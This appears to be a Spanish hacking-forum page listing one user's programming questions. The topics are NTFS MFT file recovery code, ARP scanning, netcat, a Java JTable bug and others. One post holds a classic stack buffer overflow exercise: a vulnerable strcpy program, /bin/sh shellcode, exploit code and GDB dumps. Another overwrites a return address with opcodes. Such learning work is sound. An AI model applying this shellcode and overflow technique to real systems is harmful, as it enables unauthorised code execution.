elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


  Mostrar Temas
Páginas: 1 [2] 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
11  Programación / Programación C/C++ / necesito ayuda sobre MFT y su analisis en C en: 26 Enero 2014, 06:33 am
hola

Estoy tratando de crear un codigo para recuperar archivos borrados, vengo leyendo varios documentos y viendo varios codigos, poco a poco estoy comprendiendo como funciona, hasta ahora he logrado comprender en donde se encuentra la informacion de los archivos, sobre NTFS, MFT y clusters, y mas o menos como encontrar los archivos borrados, sobre sus atributos y despues de eso me faltaria saber como restaurar los archivos

he practicado y mas abajo pondre un codigo que hice analizando codigos que hay en la red, desafortunadamente para mi, la mayoria en funcionamiento los encuentro para VB, hay otros pero son muy elaborados usando incluso clases, pero a la mayoria he visto lo mismo

Ahora... mi problema es el siguiente, ¿de que forma puedo leer los datos de MFT?, ya tengo una forma de acceso pero no logro entender como hacen ese escaneo por los datos del archivo MFT para analizar los archivos que se encuentran en mi computadora, asi como los borrados

espero alguien me pueda ayudar diciendo que API, estructura o que operacion tendria que usar ahora para empezar el analisis en MFT, porfavor, porque ya no se por donde seguir o que mas se deba hacer

dejo el codigo que mencione, pero despues de aprender esto, que mas sigue?, perdon si estan mal escrito los printf pero los escribi asi de mal porque solo fue para entender de que sirve la estructura

por cierto, he visto que algunos utilizan DISK_GEOMETRY pero yo no lo vi necesario

tambien hay unas API que vi que utilizan por ejemplo FSCTL_ENUM_USN_DATA, FSCTL_QUERY_USN_JOURNAL

Esto es lo que he logrado entender y es parecido a una parte de VB.net

Código
  1. #include <Windows.h>
  2. #include <winioctl.h>
  3. #include <stdio.h>
  4.  
  5. #define FSCTL_GET_NTFS_VOLUME_DATA CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 25, METHOD_BUFFERED, FILE_ANY_ACCESS)
  6. #define zwpath L"\\\\.\\PhysicalDrive0"
  7.  
  8. int main(int argc, char *argv[]){
  9.  
  10.    HANDLE hDevice = INVALID_HANDLE_VALUE;
  11.    BOOL bresul = FALSE;
  12.    DWORD junk = 0;
  13.  
  14.    hDevice = CreateFileW(zwpath, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
  15.  
  16.    if(hDevice == INVALID_HANDLE_VALUE){
  17.  
  18.        printf("error device\n");
  19.    }
  20.  
  21.    NTFS_VOLUME_DATA_BUFFER ntfsData;
  22.  
  23.    bresul = DeviceIoControl(hDevice,FSCTL_GET_NTFS_VOLUME_DATA, NULL, 0, &ntfsData, sizeof(NTFS_VOLUME_DATA_BUFFER), &junk, (LPOVERLAPPED)NULL );
  24.  
  25.    printf("Numero de serie = %ld\n", ntfsData.VolumeSerialNumber);
  26.    printf("Numero de sectores = %ld\n", ntfsData.NumberSectors);
  27.    printf("Total clusters = %ld\n", ntfsData.TotalClusters);
  28.    printf("Clusters libres = %ld\n", ntfsData.FreeClusters);
  29.    printf("Total reservados = %ld\n", ntfsData.TotalReserved);
  30.    printf("Bytes por sector = %ld\n", ntfsData.BytesPerSector);
  31.    printf("Bytes por cluster = %ld\n", ntfsData.BytesPerCluster);
  32.    printf("Bytes por segmeto de archivo = %ld\n", ntfsData.BytesPerFileRecordSegment);
  33.    printf("Cluster por segmento de archivo = %ld\n", ntfsData.ClustersPerFileRecordSegment);
  34.    printf("Longitud de datos validos MFT = %ld\n", ntfsData.MftValidDataLength);
  35.    printf("Inicio de LCN = %ld\n", ntfsData.MftStartLcn);
  36.    printf("Inicio mirror de LCN = %ld\n", ntfsData.Mft2StartLcn);
  37.    printf("Zona de Inicio MFT= %ld\n", ntfsData.MftZoneStart);
  38.    printf("Zona final MFT = %ld\n", ntfsData.MftZoneEnd);
  39.  
  40.    getchar();
  41. }


O si alguien tiene conocimientos en VB.NET que me pueda ayudar a traducir el codigo a C tambien me ayudaria bastante

Código
  1.  Public Sub FindHDFiles(ByVal Drive As String)
  2.        Drive = Drive.TrimEnd("\")
  3.        Try
  4.            Dim dinfo = My.Computer.FileSystem.GetDriveInfo(Drive & "\")
  5.            If Not dinfo.IsReady Then
  6.                MsgBox("Drive not ready.", MsgBoxStyle.Critical, "ERROR")
  7.                Exit Sub
  8.            End If
  9.            If dinfo.DriveFormat <> "NTFS" Then
  10.                MsgBox("This feature only works on NTFS volumes.", MsgBoxStyle.Critical, "ERROR")
  11.                Exit Sub
  12.            End If
  13.            ARKDDA = New DirectDriveIO(Drive & "\")
  14.        Catch
  15.            MsgBox("Could not access drive.", MsgBoxStyle.Critical, "ERROR")
  16.            Exit Sub
  17.        End Try
  18.        Drive = Drive.TrimEnd("\")
  19.        Dim diskhandle = CreateFile("\\?\" & Drive, EFileAccess.GENERIC_READ + EFileAccess.GENERIC_WRITE, EFileShare.FILE_SHARE_READ + EFileShare.FILE_SHARE_WRITE, Nothing, ECreationDisposition.OPEN_EXISTING, 0, Nothing)
  20.        If diskhandle = 0 Then
  21.            diskhandle = CreateFile("\\.\" & Drive, EFileAccess.GENERIC_READ + EFileAccess.GENERIC_WRITE, EFileShare.FILE_SHARE_READ + EFileShare.FILE_SHARE_WRITE, Nothing, ECreationDisposition.OPEN_EXISTING, 0, Nothing)
  22.            If diskhandle = 0 Then
  23.                MsgBox("Could not access drive.", MsgBoxStyle.Critical, "ERROR")
  24.                Exit Sub
  25.            End If
  26.        End If
  27.        Dim FSCTL_GET_NFTS_VOLUME_DATA = CTL_CODE(FILE_DEVICE.FILE_DEVICE_FILE_SYSTEM, 25, METHOD_BUFFERED, FILE_ANY_ACCESS)
  28.        Dim buffer As NTFS_VOLUME_DATA_BUFFER
  29.        DeviceIoControlNTFS(diskhandle, FSCTL_GET_NFTS_VOLUME_DATA, 0, 0, buffer, SizeOf(buffer), 0, 0)
  30.        CloseHandle(diskhandle)
  31.        Dim MFTAddress As Long = buffer.MftStartLcn * CLng(buffer.BytesPerCluster / buffer.BytesPerSector)
  32.        Dim MFTEntrySize As Integer = buffer.BytesPerFileRecordSegment / buffer.BytesPerSector
  33.        Dim NumberOfEntries As Long = buffer.MftValidDataLength / MFTEntrySize
  34.        Dim Bytes(buffer.BytesPerCluster) As Byte
  35.        Dim CurrEntryBytes(MFTEntrySize * buffer.BytesPerSector) As Byte
  36.        Dim CurrEntry As New STANDARD_MFT_ENTRY
  37.        Dim Type As Byte
  38.        Dim Name As String
  39.        Dim BaseAddr As Long
  40.        Dim Parent As Integer
  41.        Dim DoEventsCounter As Integer = 0
  42.        ListView1.Items.Clear()
  43.        ListView2.Items.Clear()
  44.        ProgressBar1.Value = 0
  45.        ProgressBar1.Maximum = buffer.MftValidDataLength / buffer.BytesPerFileRecordSegment
  46.        ToolStripStatusLabel1.Text = "Finding files in " & Drive & "\..."
  47.        Button1.Enabled = False
  48.        Button2.Enabled = False
  49.        ComboBox1.Enabled = False
  50.        Button3.Enabled = False
  51.        CheckBox2.Enabled = False
  52.        LastDrive = Drive
  53.        If CheckBox2.Checked Then Bitmap = ReadBitmap(Drive)
  54.        Dim BitmapBase As Long = MFTAddress + (MFTEntrySize * 0)
  55.        Bytes = ARKDDA.ReadSectors(BitmapBase, MFTEntrySize)
  56.        BaseAddr = MergeToInt(Bytes, &H14, &H15) 'The offset the the first attribute
  57.        While Bytes(baseaddr) <> &H80
  58.            baseaddr = baseaddr + MergeToInt(Bytes, baseaddr + &H4, baseaddr + &H7) 'Add the length of the attribute to the base address to find the next attribute
  59.        End While
  60.        baseaddr = baseaddr + &H40
  61.        Dim Length As ULong = 0
  62.        Dim LenLen As Byte = 0
  63.        Dim Offset As ULong = 0
  64.        Dim OffLen As Byte = 0
  65.        Dim Path As String = ""
  66.        Dim BaseAddr2 As ULong = 0
  67.        Dim FileSize As ULong = 0
  68.        Dim LoopCount As Integer = 0
  69.        Dim PartNum As Integer = 0
  70.        While Bytes(baseaddr) > 0
  71.            LenLen = Bytes(BaseAddr) And &HF
  72.            OffLen = (Bytes(BaseAddr) And &HF0) / &H10
  73.            Length = MergeToInt(Bytes, BaseAddr + 1, BaseAddr + LenLen)
  74.            Offset = Offset + MergeToInt(Bytes, BaseAddr + 1 + LenLen, BaseAddr + LenLen + OffLen)
  75.            For Record = 0 To ((Length * buffer.BytesPerCluster) / buffer.BytesPerFileRecordSegment) - 1
  76.                DoEventsCounter = DoEventsCounter + 1
  77.                If DoEventsCounter >= 100 Then
  78.                    Application.DoEvents()
  79.                    DoEventsCounter = 0
  80.                End If
  81.                Try
  82.                    If (PartNum + 1) >= (CurrEntryBytes.Count / buffer.BytesPerFileRecordSegment) Then
  83.                        CurrEntryBytes = ARKDDA.ReadSectors((Record * MFTEntrySize) + (Offset * (buffer.BytesPerCluster / buffer.BytesPerSector)), MFTEntrySize * 1024)
  84.                        BaseAddr2 = 0
  85.                        PartNum = 0
  86.                    Else
  87.                        'CurrEntryBytes = ByteArrayPart(CurrEntryBytes, buffer.BytesPerFileRecordSegment, UBound(CurrEntryBytes))
  88.                        'BaseAddr2 = (((BaseAddr2 \ buffer.BytesPerFileRecordSegment) + 1) * buffer.BytesPerFileRecordSegment)
  89.                        PartNum = PartNum + 1
  90.                        BaseAddr2 = PartNum * buffer.BytesPerFileRecordSegment
  91.                    End If
  92.                    If CurrEntryBytes(BaseAddr2) <> Asc("F") Then
  93.                        'If CurrEntryBytes(0) <> Asc("F") Then
  94.                        GoTo dn
  95.                    End If
  96.                    Name = ""
  97.                    Parent = 5
  98.                    Path = ""
  99.                    FileSize = 0
  100.                    'Type = CurrEntryBytes(&H16)
  101.                    Type = CurrEntryBytes(&H16 + BaseAddr2)
  102.                    'If Type = MFT_ENTRY_FILE_TYPE_FLAGS.DeletedDirectory Or Type = MFT_ENTRY_FILE_TYPE_FLAGS.DeletedFile Then
  103.                    If Type = MFT_ENTRY_FILE_TYPE_FLAGS.DeletedFile Then
  104.                        'BaseAddr2 = BaseAddr2 + MergeToInt(CurrEntryBytes, &H14, &H15) 'The offset the the first attribute
  105.                        BaseAddr2 = BaseAddr2 + MergeToInt(CurrEntryBytes, BaseAddr2 + &H14, BaseAddr2 + &H15) 'The offset the the first attribute
  106.                        BaseAddr2 = BaseAddr2 + MergeToInt(CurrEntryBytes, BaseAddr2 + &H4, BaseAddr2 + &H7) 'Add the length of the attribute to the base address to find the next attribute
  107.                        Try
  108.                            Parent = MergeToInt(CurrEntryBytes, BaseAddr2 + &H18, BaseAddr2 + &H1D)
  109.                        Catch
  110.                        End Try
  111.                        Try
  112.                            If FileSize = 0 Then FileSize = MergeToInt(CurrEntryBytes, BaseAddr2 + &H48, BaseAddr2 + &H4F)
  113.                            If FileSize > 2 ^ 30 Then FileSize = 0
  114.                            'If FileSize = 0 Then FileSize = MergeToInt(CurrEntryBytes, BaseAddr2 + &H40, BaseAddr2 + &H47)
  115.                        Catch
  116.                        End Try
  117.                        Try
  118.                            Name = System.Text.UnicodeEncoding.Unicode.GetString(ByteArrayPart(CurrEntryBytes, BaseAddr2 + &H5A, (BaseAddr2 + &H5A) + ((2 * CurrEntryBytes(BaseAddr2 + &H58)) - 2)))
  119.                        Catch
  120.                        End Try
  121.                        Try
  122.                            If Name.Contains("~") Then
  123.                                BaseAddr2 = BaseAddr2 + MergeToInt(CurrEntryBytes, BaseAddr2 + &H4, BaseAddr2 + &H7) 'Add the length of the attribute to the base address to find the next attribute
  124.                                If FileSize = 0 Then FileSize = MergeToInt(CurrEntryBytes, BaseAddr2 + &H48, BaseAddr2 + &H4F)
  125.                                If FileSize > 2 ^ 30 Then FileSize = 0
  126.                                'If FileSize = 0 Then FileSize = MergeToInt(CurrEntryBytes, BaseAddr2 + &H40, BaseAddr2 + &H47)
  127.                                Name = System.Text.UnicodeEncoding.Unicode.GetString(ByteArrayPart(CurrEntryBytes, BaseAddr2 + &H5A, (BaseAddr2 + &H5A) + ((2 * CurrEntryBytes(BaseAddr2 + &H58)) - 2)))
  128.                            End If
  129.                        Catch
  130.                        End Try
  131.                        If Name.Length >= 75 Then Name = Mid(Name, 1, 74) & Mid(Name, 76, Name.Length - 75)
  132.                        If CheckBox1.Checked Then
  133.                            Try
  134.                                Path = GetFullPath2(Parent, MFTAddress, MFTEntrySize, buffer.BytesPerCluster) & "\" & Name
  135.                            Catch
  136.                            End Try
  137.                        End If
  138.                        If FileSize = 0 Then
  139.                            Try
  140.                                LoopCount = 0
  141.                                While CurrEntryBytes(BaseAddr2) <> &H80 And LoopCount < 5
  142.                                    LoopCount = LoopCount + 1
  143.                                    BaseAddr2 = BaseAddr2 + MergeToInt(CurrEntryBytes, BaseAddr2 + &H4, BaseAddr2 + &H7) 'Add the length of the attribute to the base address to find the next attribute
  144.                                End While
  145.                                'FileSize = MergeToInt(CurrEntryBytes, BaseAddr2 + &H28, BaseAddr2 + &H2F)
  146.                                'If FileSize > 2 ^ 30 Then FileSize = MergeToInt(CurrEntryBytes, BaseAddr2 + &H38, BaseAddr2 + &H3F)
  147.                                If MergeToInt(CurrEntryBytes, BaseAddr2 + &HE, BaseAddr2 + &HF) = 1 Then
  148.                                    'It is recycled (filename at offset 0x30,file size at offset 0x10)
  149.                                    FileSize = MergeToInt(CurrEntryBytes, BaseAddr2 + &H10, BaseAddr2 + &H13)
  150.                                    'Path = ""
  151.                                    'BaseAddr2 = BaseAddr2 + &H30
  152.                                    'While CurrEntryBytes(BaseAddr2) > 0
  153.                                    'Path = Path + ChrW(MergeToInt(CurrEntryBytes, BaseAddr2, BaseAddr2 + 1))
  154.                                    'Path = Path + ChrW(CurrEntryBytes(BaseAddr2))
  155.                                    'BaseAddr2 = BaseAddr2 + 2
  156.                                    'End While
  157.                                Else
  158.                                    'FileSize = 0
  159.                                    FileSize = MergeToInt(CurrEntryBytes, BaseAddr2 + &H30, BaseAddr2 + &H37)
  160.                                End If
  161.                                If FileSize > 2 ^ 30 Then FileSize = 0
  162.                            Catch
  163.                            End Try
  164.                        End If
  165.                        If FileSize > 0 Then
  166.                            With ListView1.Items.Add(Name)
  167.                                If Not Path.Contains("SKIPTHISFILE") Then
  168.                                    .SubItems.Add(Path)
  169.                                Else
  170.                                    .SubItems.Add("")
  171.                                End If
  172.                                .SubItems.Add(FileSize)
  173.                                .SubItems.Add((Record * MFTEntrySize) + (Offset * (buffer.BytesPerCluster / buffer.BytesPerSector)))
  174.                                If CheckBox2.Checked Then
  175.                                    Try
  176.                                        .SubItems.Add(GetFileIntegrity((Record * MFTEntrySize) + (Offset * (buffer.BytesPerCluster / buffer.BytesPerSector)), buffer.BytesPerSector, buffer.BytesPerFileRecordSegment))
  177.                                    Catch
  178.                                        .SubItems.Add("Unknown")
  179.                                    End Try
  180.                                Else
  181.                                    .SubItems.Add("")
  182.                                End If
  183.                                ListView2.Items.Add(.Clone)
  184.                            End With
  185.                        End If
  186.                        GoTo dn
  187.                    End If
  188.                Catch
  189.                End Try
  190. dn:
  191.                Try
  192.                    ProgressBar1.Value = ProgressBar1.Value + 1
  193.                Catch
  194.                End Try
  195.            Next Record
  196.            BaseAddr = BaseAddr + (1 + LenLen + OffLen)
  197.        End While
  198.        ProgressBar1.Value = 0
  199.        ToolStripStatusLabel1.Text = ""
  200.        Button1.Enabled = True
  201.        Button2.Enabled = True
  202.        ComboBox1.Enabled = True
  203.        Button3.Enabled = True
  204.        CheckBox2.Enabled = True
  205.    End Sub
12  Programación / Programación C/C++ / ayuda para analizar un codigo que escanea una red local con arp en: 20 Enero 2014, 23:36 pm
hola

necesito ayuda, tengo un codigo para analizar mi red local, puedo saber lo clasico... ip, netmask y mac address... pero quisiera hacer algo parecido a nmap como el comando -sP que puedes ver que ip's hay conectadas al router pero que ademas mencione netmask y mac address de las demas computadoras

encontre un documento en C de 1998 donde lo hacen mediante arp, manda una señal y recibe esos mismo datos que quiero, intente compilar ese codigo para ver como funciona pero solo me manda a la consola los datos de mi computadora, pero la ip de mi celular no me menciona nada, aun no intento hacer la prueba con otra computadora porque ahora soy el unico conectado

quisiera saber si alguien de aqui sabe como podria mandar paquetes arp para recibir esa informacion o de que otra manera podria hacerse?, porque podria hacer ping pero como que no me agrada tanto la idea

les dejo el codigo que encontre, talvez algunos ya lo conocen se llama arptool hecho por Cristiano Lincoln Mattos

solo encontre un link directo al archivo pero para que no piensen que es un virus pondre la direccion completa de google

https://www.google.com/search?q=arptool.c&ie=utf-8&oe=utf-8

hay otro archivo hecho por Andy en code google pero es para windows, y yo intento hacerlo en linux, lo acabo de encontrar ahorita buscando el archivo jeje  :P, solo que al parecer usa winpcap de windows y yo uso pcap de linux, me imagino hay diferencia en programacion

para que no tengan que leer todo, la parte que intento aprender es la funcion mapeo, que es la que usa una funcion llamada sendarp para precisamente hacer el mapeo de las redes junto con otras funciona igual hechas por el autor del codigo

hay unas funciones de ese mismo codigo que ya no logre entender, por ejemplo, la funcion str_to_hwaddr, la funcion hexstr_to_int y ya casi le entiendo a la funcion add_to_list que sera casi lo ultimo, porque la funcion show_list es solo para mandar a la consola la informacion guardada en las estructuras

espero me puedan ayudar, porque aunque parece sencillo una parte del codigo, ya se me bloquearon las ideas y como hace poco x64Core me hizo el favor de pasarme unos codigos muy buenos que estaba buscando, habian archivos en word que estaban en chino y tuve que traducirlos con google traductor y ahora mismo me encuentro tratando de leer y comprender lo que el traductor quiso decir en varias traducciones  :xD

bueno, salu2 y gracias de antemano







13  Programación / Programación C/C++ / necesito informacion sobre como recuperar archivos borrados en codigo fuente en: 14 Enero 2014, 21:27 pm
hola

Alguien sabe donde puedo encontrar codigos fuente donde muestren como recuperar archivos borrados?, he estado investigando sobre el tema pero no he logrado obtener algun ejemplo, se que lo archivos borrados, unicamente se les borra la cabecera y creo se le agrega un hexadecimal al inicio que muestra que el archivo fue borrado, me imagino que tendria que programar un escaneo a una memoria USB ("como ejemplo")... pero no se me ocurre de que forma hacer ese escaneo y analizar los bloques de memoria hasta encontrar esos hexadecimales

tengo la idea de que si encuentro el hexadecimal de inicio de archivo borrado, sera cuestion de encontrar el final del archivo, cada archivo tiene un EOF que lo distingue y asi encontrar los direfentes archivo y despues analizarlos para ver como restaurar la cabecera del archivo y reconstruirlo, he leido un poco tambien sobre eso y me gustaria empezar a llevarlo poco a poco para saber mas sobre como funciona

pero para eso tengo que saber como analizar los clusters que aun tengan informacion o algo asi, ya que no es lo mismo buscar hexadecimales de un archivo con fopen que buscar hexadecimales de un archivo que fue borrado y desconozco en donde se encuentra

por eso quisiera pedir ayuda de si alguien sabe de algun codigo fuente, algun archivo o alguien conoce informacion sobre esto que me pueda ayudar a iniciar

de preferencia en C si es posible

salu2
14  Informática / Electrónica / pierde señal los cables ethernet de 10 metros? en: 28 Octubre 2013, 19:20 pm
hola

alguien me podria decir si un cable ethernet de 10 metros pierde señal?, es que dicen que hasta 100 metros, otros que hasta 60 metros, incluso que despues de 25, pero tengo un cable de 10 metros y quisiera saber si pierde mucha señal por la distancia

salu2
15  Sistemas Operativos / GNU/Linux / otra pergunta mas sobre recomendacion de linux jeje en: 7 Octubre 2013, 00:53 am
hola

tengo pensado hacer un cambio de sistema, actualmente uso fedora, la version 17 me gusto, lo actualice a la version 18 y al principio tuve problemas pero despues de algunas actualizaciones se arreglo

pero actualmente he tenido muchisimos problemas con la tarjeta de video, si utilizo las nuevas versiones del kernel 3.10, va lentisimo mi sistema con el driver de amd, la otra opcion es usar el driver libre, pero la temperatura de mi sistema aumenta demasiado y mi ventilador nunca descansa

anteriomente utilice ubuntu, el cual me dejo de gustar por sus frecuentes bugs, cambie a debian pero siempre tenia problemas con las nuevas actualizaciones, al principio no me importaban pero como iba avanzando en el manejo de linux, hubo cosas que me interesaron pero no podia hacerlas porque necesitaba ciertas librerias actualizadas y debian espera bastante tiempo, ya que tampoco me gusta mucho las versiones beta

tambien pase un poco por opensuse, pero eso fue hace años, y no se que tan bien ande ahora y por varias otras variantes que existen PCLinuxOS, kubuntu, Xevian, etc...

entonces me gustaria saber si alguien me puede recomendar alguna distro que sean equivalente o mejor a debian o fedora, que son los que mas me han gustado hasta ahora, tambien que funcionen mejor con gnome ya que uso bastante GTK

bueno, salu2

16  Sistemas Operativos / GNU/Linux / porque no se logra una conexion con netcat desde windows hacia linux? en: 27 Septiembre 2013, 23:56 pm
hola

Estoy intentando conectar a netcat entre linux, que esta instalado en mi computadora y windows que esta en virtualbox, la conexion de linux hacia windows se hace correctamente, pero cuando intento conectar netcat desde windows hacia linux no se logra ninguna conexion

VirtualBox lo tengo como bridge(puente) para utilizar una ip de mi router, y he intentado desactivar el firewall pero no hay conexion

alguien sabe porque no se logra conectar netcat desde windows hacia linux?, porque como comente hace un momento, desde linux hacia windows si se puede
17  Seguridad Informática / Bugs y Exploits / ayuda con un exploit para linux en: 4 Septiembre 2013, 23:19 pm
hola

Tengo problemas con un ejercicio de un exploit para linux

Este es el codigo a explotar

Código
  1. #include <stdio.h>
  2. #include <string.h>
  3.  
  4. main(int argc, char **argv){
  5.  
  6.    char buffer[80];
  7.    strcpy(buffer, argv[1]);
  8.  
  9.    return 1;
  10. }

Este es el codigo del exploit

Código
  1. #include<stdio.h>
  2. #include<stdlib.h>
  3. #include<string.h>
  4.  
  5. // shellcode ripped from http://www.milw0rm.com/shellcode/444
  6.  
  7. char shellcode[]=
  8. "\x31\xc0"                      // xorl         %eax,%eax
  9. "\x50"                          // pushl        %eax
  10. "\x68\x6e\x2f\x73\x68"          // pushl        $0x68732f6e
  11. "\x68\x2f\x2f\x62\x69"          // pushl        $0x69622f2f
  12. "\x89\xe3"                      // movl         %esp,%ebx
  13. "\x99"                          // cltd
  14. "\x52"                          // pushl        %edx
  15. "\x53"                          // pushl        %ebx
  16. "\x89\xe1"                      // movl         %esp,%ecx
  17. "\xb0\x0b"                      // movb         $0xb,%al
  18. "\xcd\x80"                      // int          $0x80
  19. ;
  20.  
  21. char retaddr[] = "\xaa\xaa\xaa\xaa";
  22.  
  23. #define NOP 0x90
  24.  
  25.  
  26. main()
  27. {
  28.        char buffer[96];
  29.  
  30.        memset(buffer, NOP, 96);
  31.  
  32.        memcpy(buffer, "EGG=", 4);
  33.  
  34.        memcpy(buffer+4, shellcode, 24);
  35.  
  36.        memcpy(buffer+88, retaddr, 4);
  37.        memcpy(buffer+92, "\x00\x00\x00\x00", 4);
  38.  
  39.        putenv(buffer);
  40.  
  41.        system("/bin/sh");
  42.  
  43.        return 0;
  44.  
  45. }
  46.  
  47.  

Cuando lo compilo, lo depuro con GDB, el objetivo es meter en ret la direccion de inicio donde se encuentra la shellcode y meter en ESP el valor del inicio de la shellcode, asi que sobreescribo el buffer, despues sobreescribo ebp, pero en el codigo de arriba, ret se sobreescribe con x90 y esp+4 se sobreescribe con la direccion de ret

(gdb) x/22xw $esp
0xffffcfe0:   0x00000000   0x0804824c   0xffffffff   0x47488023
0xffffcff0:   0x47462a3c   0xf7ffc3d0   0x474edfd0   0x080482bd
0xffffd000:   0x00010000   0x476061d8   0x0804a000   0x08048492
0xffffd010:   0x00000002   0xffffd0d4   0xffffd0e0   0x474881ad
0xffffd020:   0x476083c4   0x00001000   0x0804844b   0x47608000
0xffffd030:   0x08048440   0x00000000

(gdb) x/22xw argv[1]
0xffffd2c3:   0x6850c031   0x68732f6e   0x622f2f68   0x99e38969
0xffffd2d3:   0xe1895352   0x80cd0bb0   0x90909090   0x90909090
0xffffd2e3:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd2f3:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd303:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd313:   0x90909090   0xaaaaaaaa

Este es ret y esp+4

0xffffd030:   0x08048440   0x00000000

y asi queda despues de meter los valores

0xffffd313:   0x90909090   0xaaaaaaaa

Asi que modifique el codigo disminuyendo la cantidad del buffer y quedo asi

Código
  1. #include<stdio.h>
  2. #include<stdlib.h>
  3. #include<string.h>
  4.  
  5. char shellcode[]=
  6. "\x31\xc0"                      // xorl         %eax,%eax
  7. "\x50"                          // pushl        %eax
  8. "\x68\x6e\x2f\x73\x68"          // pushl        $0x68732f6e
  9. "\x68\x2f\x2f\x62\x69"          // pushl        $0x69622f2f
  10. "\x89\xe3"                      // movl         %esp,%ebx
  11. "\x99"                          // cltd
  12. "\x52"                          // pushl        %edx
  13. "\x53"                          // pushl        %ebx
  14. "\x89\xe1"                      // movl         %esp,%ecx
  15. "\xb0\x0b"                      // movb         $0xb,%al
  16. "\xcd\x80"                      // int          $0x80
  17. ;
  18.  
  19. char retaddr[] = "\xe0\xcf\xff\xff";
  20.  
  21. #define NOP 0x90
  22.  
  23.  
  24. main()
  25. {
  26.        char buffer[92];
  27.  
  28.        memset(buffer, NOP, 92);
  29.  
  30.        memcpy(buffer, "EGG=", 4);
  31.  
  32.        memcpy(buffer+4, shellcode, 24);
  33.  
  34.        memcpy(buffer+84, retaddr, 4);
  35.        memcpy(buffer+88, "\x00\x00\x00\x00", 4);
  36.  
  37.        putenv(buffer);
  38.  
  39.        system("/bin/sh");
  40.  
  41.        return 0;
  42.  
  43. }
  44.  
  45.  

pero volviendo a verificar con GDB

(gdb) x/22xw argv[1]
0xffffd2cb:   0x6850c031   0x68732f6e   0x622f2f68   0x99e38969
0xffffd2db:   0xe1895352   0x80cd0bb0   0x90909090   0x90909090
0xffffd2eb:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd2fb:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd30b:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd31b:   0xffffcfe0   0x47445800

de esta forma ret queda con el valor de inicio de la shellcode, pero esp queda un valor distinto a 0x00

0xffffd31b:   0xffffcfe0   0x47445800

Y el problema es que deberia quedar asi

0xffffd31b:   0xffffcfe0   0x00000000

Al principio crei que posiblemente no alcanzaba y tanto aumente nop's como disminui pero nada, entonces se me ocurrio modificar el valor de memcpy de buffer+88

memcpy(buffer+88, "\x90\x90\x90\x90", 4);

entonces lo volvi a depurar y miren

(gdb) x/22xw argv[1]
0xffffd2c3:   0x6850c031   0x68732f6e   0x622f2f68   0x99e38969
0xffffd2d3:   0xe1895352   0x80cd0bb0   0x90909090   0x90909090
0xffffd2e3:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd2f3:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd303:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd313:   0xffffcfe0   0x90909090


lo que quiere decir que los ceros no se incluyen y no se que podria hacer para arreglar esto, ya que para que funcione deberia ser asi

0xffffd313:   0xffffcfe0   0x00000000

para que ret avance a la direccion 0xffffcfe0 con el valor 0x00000000

Alguien me podria ayudar a solucionarlo porfavor

salu2

EDITO

tengo desactivado randomize_va_space y enforce de SElinux

y los dos estan compilados con los mismo parametros

gcc -ggdb -m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=2
18  Programación / Programación C/C++ / problema con una violacion de segmento usando opcodes en: 1 Septiembre 2013, 22:23 pm
Hola

Estaba haciendo un ejemplo de como usar los opcodes para ejecutarlos en un C, por ejemplo

Este codigo es el clasico en esamblador de exit(0), y usando objdump quedo asi

Código
  1. #include <stdio.h>
  2.  
  3. char exits[] = "\xbb\x14\x00\x00\x00"
  4.                   "\xb8\x01\x00\x00\x00"
  5.                   "\xcd\x80";
  6.  
  7. int main(){
  8.  
  9.    int *ret;
  10.    ret = (int *)&ret +2;
  11.    (*ret) = (int)exits;
  12. }

el programa lo compilo de esta forma ya que lo estoy analizando como 32 bits y mi sistema es de 64bits

gcc -m32 -ggdb -mpreferred-stack-boundary=2 -o salida salida.c

pero cuando lo ejecuto me sale una violacion de segmento, me imagino que falla exit(0) y no sale correctamente el programa

Alguien me podria decir porque falla el codigo?

19  Programación / Java / al cargar una base de datos, la tabla me aparece vacía (JTable) en: 30 Agosto 2013, 06:31 am
hola

Alguien me podría decir que error o que estoy haciendo mal en esta parte del código, lo que hace es hacer una conexión con sqlite y mostrar el resultado en una tabla en forma de lista para ver las columnas

esto lo hice anteriormente con código pero no supe como agregar y acomodar las cajas de texto y botones, así que abrí un nuevo proyecto usando JFRAME, y al parecer el código funciona porque me da el nombre de la primera columna de una base "main.db" pero cuando hago un while para mostrar la lista de la columna, me aparecen algunos "Row" pero están vacíos

A ver si alguien me pude decir que podría estar mal, o si podría ser algo de las propiedades de la tabla

Código
  1. private void DoOpen(DefaultTableModel tableModel){
  2.  
  3.       Conexion cnx = new Conexion();
  4.  
  5.        try{
  6.            cnx.conectar();
  7.            String sql = "SELECT name FROM sqlite_master";
  8.            cnx.consulta = cnx.conexion.createStatement();
  9.            ResultSet res = cnx.consulta.executeQuery(sql);
  10.  
  11.            if(res != null){
  12.                int colm = res.getMetaData().getColumnCount();
  13.  
  14.                for(int i = 1; i <= colm; i++){
  15.                    tableModel.addColumn(res.getMetaData().getColumnName(i));
  16.                }
  17.                while(res.next()){
  18.                    Object []objetos = new Object[colm];
  19.                    for(int j = 1; j <= colm; j++){
  20.                        objetos[j-1] = res.getObject(j);
  21.                    }
  22.                    tableModel.addRow(objetos);
  23.                }
  24.            }
  25.        }catch(SQLException e)
  26.        {
  27.        }
  28.  
  29.    }
20  Foros Generales / Foro Libre / Esto es una mala palabra? en: 29 Agosto 2013, 04:56 am
Hola

Alguien de españa que pueda decirme si pajearse y pajeos es lo mismo?, es que me dijeron que si cuando vimos un hospital con ese nombre, y nos dio risa

